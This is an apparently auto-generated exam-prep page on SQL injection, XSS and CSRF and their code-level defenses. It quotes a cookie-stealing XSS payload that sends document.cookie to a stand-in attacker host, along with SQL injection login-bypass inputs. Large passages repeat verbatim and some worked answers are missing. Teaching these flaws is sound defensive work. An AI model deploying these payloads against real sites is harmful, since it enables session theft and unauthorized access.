Application & Web Security: SQL Injection, XSS, CSRF

Application vulnerabilities occur when untrusted user input is concatenated directly into an interpreter command or rendered back.

What to practice

  • Identify SQL Injection, Stored/Reflected/DOM XSS, CSRF, Directory Traversal (`../`), Command Injection, and Buffer Overflows from source code and HTTP logs.
  • Select the exact code-level remediation (Parameterized Queries, Output Encoding, Anti-CSRF tokens, bounds checking, ASLR/DEP).
  • Explain why client-side validation and TLS do not mitigate server-side injection flaws.

1. Core Concept Instruction

Application vulnerabilities occur when untrusted user input is concatenated directly into an interpreter command or rendered back into a browser DOM without sanitization: (1) SQL Injection (SQLi): When code builds a SQL query via string concatenation ("SELECT * FROM users WHERE user = '" + input + "'"), an attacker entering ' OR 1=1 -- alters the SQL syntax tree so the WHERE clause evaluates to TRUE for every row! The definitive defense is Parameterized Queries (Prepared Statements), which bind user input strictly as literal data parameters so it can never be executed as SQL commands. (2) Cross-Site Scripting (XSS): An attacker injects malicious JavaScript (<script>fetch('https://evil.example/steal?c='+document.cookie)</script>) into a page viewed by other users (Stored XSS in a database comment, or Reflected XSS in a URL parameter). Defenses: Context-aware Output Encoding (escaping <, >, &, ", '), HttpOnly session cookies, and a strict Content-Security-Policy (CSP) header. (3) Cross-Site Request Forgery (CSRF): Tricks an authenticated victim's browser into sending an unwanted state-changing request (e.g., password change or fund transfer) using automatically attached session cookies. Defenses: unpredictable Anti-CSRF synchronizer tokens and SameSite=Strict or SameSite=Lax cookies.

2. Worked Examples

Worked Vulnerable Code Audit: SQL Injection vs. Parameterized Prepared Statement

Examine the following login query in a web backend:
`String q = "SELECT id, role FROM accounts WHERE username = '" + user + "' AND pin = '" + pin + "'";`
(a) Show the exact resulting SQL string when an attacker submits `user = "admin' --"` and `pin = "0000"`. (b) Rewrite the query logic using a parameterized PreparedStatement and explain why `admin' --` fails.

Result:

Stored Cross-Site Scripting (XSS) vs. Cross-Site Request Forgery (CSRF) Defenses

A forum allows users to post profile bios that render unescaped in other visitors' browsers, executing <script>fetch('https://evil.example/steal?c='+document.cookie)</script>.

Result: Stored XSS vulnerability; remediate with context-aware output encoding, HttpOnly cookies, and strict CSP

Core Concept Review

Application vulnerabilities occur when untrusted user input is concatenated directly into an interpreter command or rendered back into a browser DOM without sanitization: (1) SQL Injection (SQLi): When code builds a SQL query via string concatenation ("SELECT * FROM users WHERE user = '" + input + "'"), an attacker entering ' OR 1=1 -- alters the SQL syntax tree so the WHERE clause evaluates to TRUE for every row! The definitive defense is Parameterized Queries (Prepared Statements), which bind user input strictly as literal data parameters so it can never be executed as SQL commands. (2) Cross-Site Scripting (XSS): An attacker injects malicious JavaScript (<script>fetch('https://evil.example/steal?c='+document.cookie)</script>) into a page viewed by other users (Stored XSS in a database comment, or Reflected XSS in a URL parameter). Defenses: Context-aware Output Encoding (escaping <, >, &, ", '), HttpOnly session cookies, and a strict Content-Security-Policy (CSP) header. (3) Cross-Site Request Forgery (CSRF): Tricks an authenticated victim's browser into sending an unwanted state-changing request (e.g., password change or fund transfer) using automatically attached session cookies. Defenses: unpredictable Anti-CSRF synchronizer tokens and SameSite=Strict or SameSite=Lax cookies.

Extended Concept Analysis

Application vulnerabilities occur when untrusted user input is concatenated directly into an interpreter command or rendered back into a browser DOM without sanitization: (1) SQL Injection (SQLi): When code builds a SQL query via string concatenation ("SELECT * FROM users WHERE user = '" + input + "'"), an attacker entering ' OR 1=1 -- alters the SQL syntax tree so the WHERE clause evaluates to TRUE for every row! The definitive defense is Parameterized Queries (Prepared Statements), which bind user input strictly as literal data parameters so it can never be executed as SQL commands. (2) Cross-Site Scripting (XSS): An attacker injects malicious JavaScript (<script>fetch('https://evil.example/steal?c='+document.cookie)</script>) into a page viewed by other users (Stored XSS in a database comment, or Reflected XSS in a URL parameter). Defenses: Context-aware Output Encoding (escaping <, >, &, ", '), HttpOnly session cookies, and a strict Content-Security-Policy (CSP) header. (3) Cross-Site Request Forgery (CSRF): Tricks an authenticated victim's browser into sending an unwanted state-changing request (e.g., password change or fund transfer) using automatically attached session cookies. Defenses: unpredictable Anti-CSRF synchronizer tokens and SameSite=Strict or SameSite=Lax cookies.

Worked Problem Walkthrough

Worked Vulnerable Code Audit: SQL Injection vs. Parameterized Prepared Statement

Examine the following login query in a web backend: String q = "SELECT id, role FROM accounts WHERE username = '" + user + "' AND pin = '" + pin + "'"; (a) Show the exact resulting SQL string when an attacker submits user = "admin' --" and pin = "0000". (b) Rewrite the query logic using a parameterized PreparedStatement and explain why admin' -- fails.

Stored Cross-Site Scripting (XSS) vs. Cross-Site Request Forgery (CSRF) Defenses

A forum allows users to post profile bios that render unescaped in other visitors' browsers, executing <script>fetch('https://evil.example/steal?c='+document.cookie).

Common Exam Traps & How to Avoid Them

  • Relying on client-side JavaScript validation to stop SQL injection or XSS (an attacker can bypass browser JavaScript entirely using curl or an intercepting proxy).

  • Thinking HTTPS/TLS prevents SQL injection or XSS (TLS encrypts traffic in transit against network eavesdroppers, but delivers the attacker's SQLi/XSS payload straight to the web application!).

Key Vocabulary

  • Parameterized Query (Prepared Statement): A database query technique that separates SQL command structure from user-supplied data parameters, preventing SQL injection.

  • Cross-Site Scripting (XSS): An injection vulnerability where untrusted input containing malicious client-side scripts is rendered and executed in a victim's web browser.

Use this chapter companion

Review the lesson, attempt the original practice, then check the explanation. Your printed study guide remains complete without the website.

Independence

Skill by Skill Prep is independent. SAT® and AP® are trademarks registered by the College Board, which is not affiliated with, and does not endorse, this website or book. PSAT/NMSQT® is a registered trademark of the College Board and the National Merit Scholarship Corporation, which are not affiliated with, and do not endorse, this site. Bluebook™ is a trademark of the College Board. ACT® is a trademark of ACT Education Corp., which is not affiliated with and does not endorse this website or book. Desmos is a trademark of Desmos Studio PBC. Practice results describe these questions, not official scores or admission predictions.

Last updated .